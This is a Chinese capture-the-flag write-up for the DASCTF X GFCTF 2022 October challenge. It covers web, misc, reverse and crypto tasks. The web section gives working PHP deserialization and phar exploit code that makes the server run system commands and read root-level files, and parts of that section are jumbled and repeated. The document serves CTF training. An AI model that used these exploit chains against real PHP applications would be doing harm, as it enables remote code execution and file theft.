DASCTF X GFCTF 2022十月挑战赛!WriteUp

admin 2023年5月29日14:56:23评论46 views字数 9901阅读33分0秒阅读模式

队伍名称

TeamGispy

排名

10

解题思路

WEB

EasyPOP

pop链:

sorry::__destruct
show::__toString
secret_code::show
sorry::__get
fine::__invoke

小难点:利用引用使得 $this->password == $this->name

poc:

<?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class show
{
public $ctf;
public $time;
hade_waibo
登录之后在 can can need 存在任意文件读取,只贴一下 class.php 吧
public function __construct($ctf, $time)
{
$this->ctf = $ctf;
$this->time = $time;
}
}
class sorry
{
private $name;
private $password;
public $hint;
public $key;
public function __construct($name, $password, $hint, $key)
{
$this->name = &$this->password;
$this->password = $password;
$this->hint = $hint;
$this->key = $key;
}
}
class secret_code
{
protected $code;
public function __construct($code){
$this->code = $code;
}
}
$a = new sorry("","",new show(new secret_code(new sorry("","","",new
fine("system","cat /f*"))),""),"");
echo urlencode(serialize($a));

hade_waibo

登录之后在 can can need 存在任意文件读取,只贴一下 class.php

<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}
class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");
public function show($filename){
echo '<div class="ui action input"><input type="text" id="filename"
placeholder="Search..."><button class="ui button"
onclick="window.location.href='file.php?
m=show&filename='+document.getElementById('filename').value">Search</button>
</div><p>';
if(empty($filename)){die();}
return '<img
src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}
}
#更新了一个恶意又有趣的Test类
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}

很明显就是phar伪协议,利用 class.php 进行反序列化,而 Test::backdoor 中正好可以命令执 行,但是直接过滤掉了数字和字母,但是 Test::__toString 方法可以生成名字长度为三的文件,就可 以想到利用 *

举个小例子:

实现对根目录下所有文件的读取,出题人还算比较仁慈,cat有权限读取(

DASCTF X GFCTF 2022十月挑战赛!WriteUp


那么最后的利用实现了,现在我们主要有两步操作:1.利用Test::__toString生成cat文件;2.Test::backdoor执行 * /*>- 命令


0x01:在审计的时候我们可以发现Test__wakeup 使得value的值一定会被修改,而php7.4.5没有 什么可以用来利用bypass __wakeup 的方法,之后就有点卡住了……

摆了小一会,重新回来思考,突然想到为什么不利用User类一起呢,而User类的 __wakeup 就很有 意思了,如果名字大于6的话,username就不会被赋值,那么我们登录时使名字大于6并且 username=new Test() 那么在destruct的时候由于字符串比较不就能触发 Test::__toString 了吗

poc


<?php
class User
{
public $username;
}
class Test
{
public $value;
}
$b = new User();
$a = new Test();
$b->username = $a;
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($b);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
rename("test.phar", "ameuu.jpg");

登录用户名为 1234567 注意需要修改前端限制的输入长度。再将文件上传,然后再在 cancanneed 利用phar触发反序列化。

payload:


file.php?
m=show&filename=phar://upload/dasctf36da22fba011282f079fd983af681a3c.jpg&file=ca
t

0x02:然后直接上poc吧,也就是实现 Test::value 引用于


<?php
class User
{
public $username;
}
class Test
{
public $value;
}
$b = new User();
$a = new Test();
$b->username = new Test();
$b->test = $a;
$a->value = &$b->username;
// echo serialize($b);
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($b);
$phar->addFromString("exp.txt", "test");
登录用户名为 * /*>- ,上传文件phar触发反序列化。payload:
访问 upload/- 下载到文件:
MISC
滴滴图
010一个zip
末尾一个Unicode编码
转一下,拿到压缩包密码
$phar->stopBuffering();
rename("test.phar", "ameuu.jpg");

登录用户名为 * /*>- ,上传文件phar触发反序列化。payload:

file.php?m=show&filename=phar://

访问 upload/- 下载到文件:

DASCTF X GFCTF 2022十月挑战赛!WriteUp


MISC

滴滴图

010一个zip

DASCTF X GFCTF 2022十月挑战赛!WriteUp

末尾一个Unicode编码

DASCTF X GFCTF 2022十月挑战赛!WriteUp

转一下,拿到压缩包密码

DASCTF X GFCTF 2022十月挑战赛!WriteUp

拿到一个图片,crc有问题

DASCTF X GFCTF 2022十月挑战赛!WriteUp

改一下高度,拿到压缩包密码

DASCTF X GFCTF 2022十月挑战赛!WriteUp

然后就是用Audacity 看解莫斯就行

DASCTF X GFCTF 2022十月挑战赛!WriteUp


--... ....- -.... ..-. ..... ..-. -.... ..--- -.... ..... ..... ..-. -.... ...--
--... ....- -.... -.... -.... ..... --... ..---

拿到flag

DASCTF X GFCTF 2022十月挑战赛!WriteUp

DASCTF{to_be_ctfer}

poiqoi

网站https://floooh.github.io/qoiview/qoiview.html

或者自己本地搭一个https://github.com/floooh/qoiview

用在线网站的话直接把附件给拖进去

DASCTF X GFCTF 2022十月挑战赛!WriteUp

扫了之后是fakeflag,然后就是很6的操作,截图下来,然后用stegsolve看,在gray bits同道中人有 一个不一样的二维码,扫码得到正确的flag

DASCTF X GFCTF 2022十月挑战赛!WriteUp

DASCTF{Y0u_f1nd_re4l_QR_Cod3_w0W}

ez_xxd

ps:以后出题的师傅麻烦别用bandizip出明文爆破了,要么就说好,要么就直接给压缩包。真的太阴间了

http流导出flag.txtmaybe_today.zip

DASCTF X GFCTF 2022十月挑战赛!WriteUp

flag.txt是一串base64,解码得到十六进制数据,直接导入即可

DASCTF X GFCTF 2022十月挑战赛!WriteUp

看了一下是png文件,前面少了8位,补全即可

DASCTF X GFCTF 2022十月挑战赛!WriteUp

随便找个png文件,看一下,抄一下就可以

DASCTF X GFCTF 2022十月挑战赛!WriteUp

这边引出另外一个,可能是出题人的思路,在流11中,有一串经典的流量,解码一下可以得到,出 题人想要告诉我们的少了前8位,但是真的没什么用,有用的话就是这个图片名称叫做Miku.png,可以 引出之后的明文爆破

DASCTF X GFCTF 2022十月挑战赛!WriteUp

DASCTF X GFCTF 2022十月挑战赛!WriteUp

然后就是明文爆破,记得用bandizip压缩(一般来说都是使用WinRAR来进行压缩,如果不确定, 可以查看加密算法来确定,但是好像是因为winrarbandizip的压缩算法是一样的?但是有一些区别, 会导致bandizip压缩的无法使用WinRAR压缩的明文来进行爆破

DASCTF X GFCTF 2022十月挑战赛!WriteUp

DASCTF X GFCTF 2022十月挑战赛!WriteUp

明文爆破之后得到文件,flag目录是一个数据库文件

DASCTF X GFCTF 2022十月挑战赛!WriteUp

搭一下,可以参考https://blog.csdn.net/qq_39516859/article/details/79655343


直接移动到data目录下即可,得到一个txt文本

DASCTF X GFCTF 2022十月挑战赛!WriteUp

下下来即可,然后就是base64解码,一个zip,密码在SceneManager.js

DASCTF X GFCTF 2022十月挑战赛!WriteUp

DASCTF X GFCTF 2022十月挑战赛!WriteUp

解压之后,兽音+base64+hex得到flag

DASCTF X GFCTF 2022十月挑战赛!WriteUp

DASCTF X GFCTF 2022十月挑战赛!WriteUp

dasctf{l0ve_you_want_l0ve}

REVERSE

pycode

给了python的字节码,这个码比较简短,手撸成py文件

from Crypto.Util.number import *
enc = '8b2e4e858126bc8478d6a6a485215f03'
def exextract_number(x):
x = x ^ (x >> 11)
x = x ^ (x << 7) & 2022072721
x = x ^ (x << 15) & 2323163360
x = x ^ (x >> 18)
return x
def transform(m):
new_message = b''
l = len(m)
for i in range(l // 4):
enc = m[i * 4:i * 4 + 4]
enc = bytes_to_long(enc)
enc = exextract_number(enc)
enc = long_to_bytes(enc)
new_message += enc
return new_message
if __name__ == '__main__':
num = input('input your number:')
tmp = bytes.fromhex(num)
res = transform(tmp).hex()
if enc == res:
print('ok,your flag : DASCTF{{{name}}}'.format(name=num))
else:
print('wrong')
看到exextract_number函数,流密码中常出现,拿脚本逆一下即可
def decrypt_left(cipher, blocksize, mask):
plain = cipher
t = cipher
for i in range(64 // blocksize):
tt = (t << blocksize) & mask
plain = plain ^ tt
t = tt
return plain
def decrypt_right(cipher, blocksize, mask):
plain = cipher
t = cipher
for i in range(64 // blocksize):
tt = (t >> blocksize) & mask
plain = plain ^ tt
t = tt
return plain
def invertt(block, keys, lists):
for k in range(3, -1, -1):
if keys[k] < 0:
block = decrypt_right(block, -keys[k], lists[k])
else:
block = decrypt_left(block, keys[k], lists[k])
return block
list = [0xffffffff, 2022072721, 2323163360, 0xffffffff]
keys = [-11, 7, 15, -18]
from Crypto.Util.number import *
c = '8b2e4e858126bc8478d6a6a485215f03'
x = ''
for i in range(len(c) // 8):
cc = int(c[i * 8:i * 8 + 8], 16)
flag = invertt(cc, keys, list)
x += hex(flag)[2:]
print(x)
# 89196e63ab5556e7389d2bb44f8e6e06


得到num,可以py跑一跑,check一下

DASCTF X GFCTF 2022十月挑战赛!WriteUp

DASCTF{89196e63ab5556e7389d2bb44f8e6e06}


CRYPTO

RSA

已知 n_2, n_3, e_1, e_3, c_1, c_2, c_3, m, k

先看看encrypt3


def encrypt3(m , n_2):
c_2 = pow(m, e_2 , n_2)
print('c_2 = '+str(c_2))
encrypt3(n_1,n_2)

e_2=3很小,n_1 ** 3 = c_2 + k*n_2,使得k也不是很大,可以爆破k得到n_1


for k in range(10000000):
if iroot(c_2+k*n_2, e_2)[1]:
n_1 = iroot(c_2+k*n_2, e_2)[0]
break

再看看encrpt2

def encrypt2(m , n_1):
c_1 = pow(m,e_1,n_1)
print('c_1 = '+str(c_1))
encrypt2(m1,n_1)

正常的rsa加密,n_1可以分解

from sympy.ntheory import totient
phi = totient(n_1)
d_1 = inverse(e_1, phi)
m_1 = pow(c_1, d_1, n_1)
print(long_to_bytes(m_1))
# b'0x666c61677b3230366538353964'

最后一起看看14


def encrypt1(n):
n1 = hex(n>>200).encode()
n2 = str(hex(n))[20:].encode()
return n1,n2
def encrypt4(m):
k = getPrime(512)
m = m % k
c_3 = pow(m, e_2, n_3)
print('c_3 = ' + str(c_3))
print('m = ' + str(m))
print('k = ' + str(k))
m1,m2 = encrypt1(flag)
encrypt4(m2)

m1=hex(flag>>200).encode()=b'0x666c61677b3230366538353964' 可以得到flag>>200 = 0x666c61677b3230366538353964 的位数是104 所以flag的位数位200+104=304位,即flag304//8=38位长的字符串(len(flag)==38m2 = str(hex(n))[20:].encode()m2的位数是(38*2+2)*4-20=232<512(k的位数) 所以m2 = m % k模了个寂寞(m<k,直接转字节即可


from Crypto.Util.number import *
from gmpy2 import *
n_2 =
67583505674445012102400400833717093733110988343571206635495547456326725703760308
15556538295988865593373251726942787647414033485128722392770087195489680167028526
09803016353158454788807563316656327979897318887566108985783153878668451688372252
23493871625062157533831477948505826778573163696795749436945821159982336474690876
35885824894007858654270608044086066170162679362738887433923726208160539270317945
75978032607311497491069242347165424963308662091557862342478844612402720375931726
316909635118113432836702120449010
n_3 =
91294511667572917673898699346231897684542006136956966126836916292947639514392684
48794033640603808615028931543979678015818900415749482498703766706531051704431179
47251720756531866773314341231981177975755289829085320860381074285405860444714070
73066169603930082133459486076777574046803264038780927350142555712567
e_1 = 65537
e_2 = 3
c_1 =
47029848959680138397125259006172340325269302342762903311733700258745280761154948
38140932805344958095797226585928340707193148470700213892684048331688008728115355
4181290481533
c_2 = 332431
c_3 =
11951299411967534922967467740790967733301092706094553308467975774492025797106594
44007038072300789486145424945501320273401921507185683494349009615604850495232878
49897772636648320986818313987709630566164173017057395051877542368014070147157804
68333977293887519001724078504320344074325196167699818117367329779609
m =
95304547428912315909457780540728438748378248157245644633692592824906190495577726
50832818763768769359762168560563265763313176741847581931364
k =
81396168734207304990922465647093319374980294533400998062199770602248389570808709
50877930756958455278369862703151353509623205172658012437573652818022676431
# for k in range(10000000):
# if iroot(c_2+k*n_2, e_2)[1]:
# n_1 = iroot(c_2+k*n_2, e_2)[0]
# break
# from sympy.ntheory import totient
# phi = totient(n_1)
n_1 =
70406706457855863712635967741447303613971473150228480705119773604469794649140239
44623733404004850481134332717381729630878119091172776311061539336849780365539044
5303946160971
phi =
70406706400433708425868931306275202980817778179101183052452610940239499597372599
69338551122952590499136568853662004644966601251065414881643978783532652147664604
7401551652000
d_1 = inverse(e_1, phi)
m_1 = pow(c_1, d_1, n_1)
print(bytes.fromhex(long_to_bytes(m_1).decode()[2:]
[:-8]+long_to_bytes(m).decode()))# 有8个重复了所以取前八[:-8]
# b'flag{206e859d8e854c4f600cb12757bbf9f5}'






DASCTF X GFCTF 2022十月挑战赛!WriteUp
扫码关注我们


文案:TeamGipsy

排版:江   越

审核:刘雪娇


往期推荐:

载誉归来 | 祝贺实验室学生在西湖论剑·第六届网络安全技能大赛喜获佳绩


星星之火点燃今日荣光,安全之路共筑未来华章——“信息华章”学院表彰大会特辑

DASCTF X GFCTF 2022十月挑战赛!WriteUp

原文始发于微信公众号(杭师大网安):DASCTF X GFCTF 2022十月挑战赛!WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日14:56:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DASCTF X GFCTF 2022十月挑战赛!WriteUphttp://cn-sec.com/archives/1770863.html

发表评论

匿名网友 填写信息